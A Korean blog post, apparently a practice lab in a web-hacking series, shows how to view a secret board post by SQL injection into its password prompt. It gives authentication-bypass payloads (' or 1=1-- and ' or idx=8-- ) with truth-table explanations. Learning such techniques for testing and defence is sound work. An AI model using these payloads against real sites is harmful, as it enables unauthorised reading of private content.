Oh! JUN
인증 우회 공격을 통한 비밀 게시글 무단 열람 실습 본문
비밀글을 인젝션을 통해 확인해 볼 것이다.
비밀글을 클릭하면 패스워드를 입력해야 되는데 여기에 인젝션을 적용해 볼 것이다.
쿼리를 예상해보면
select * from tb_board where idx=8 and password='[password]' |
글 번호 idx와 password가 일치하면 비밀글을 열람할 수 있는 방식일 것이다.
먼저
select * from tb_board where idx=8 and password='' or 1=1-- ' |
idx=8 and password='' | 참 and 거짓 = 거짓 |
(idx=8 and password='') or 1=1 | 거짓 or 참 = 참 |
idx와 pasword가 먼저 and 처리되면서 idx의 값은 무의미해지고 or 1=1로 위의 쿼리가 참을 뜻하게되면서 전체를 출력하게 된다.
mysql 게시판에서 password에 위의 패스워드 쿼리를 입력하면 위와 같이 test2 게시판으로 들어가게 되는데
그 이유는 전 시간에 언급했던 것과 같다.(최상단의 행을 출력한다.)
그러면 어떻게 비밀글을 볼 수 있을까?
select * from tb_board where idx=8 and password='' or idx=8--[공백]' |
idx=8 and password='' | 참 and 거짓 = 거짓 |
(idx=8 and password='') or idx=8 | 거짓 or 참 = 참 |
idx와 password는 무의미해지고 or 연산자로 idx=8 비밀글 번호를 지정해주면 된다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 조회 공격(환경 분석 실습) (0) | 2022.08.12 |
---|---|
인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습 (0) | 2022.08.10 |
인증 우회 공격 실습 (0) | 2022.08.08 |
검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법 (0) | 2022.08.05 |
검색 기능에 대한 올바른 취약점 점검 방법 (0) | 2022.08.04 |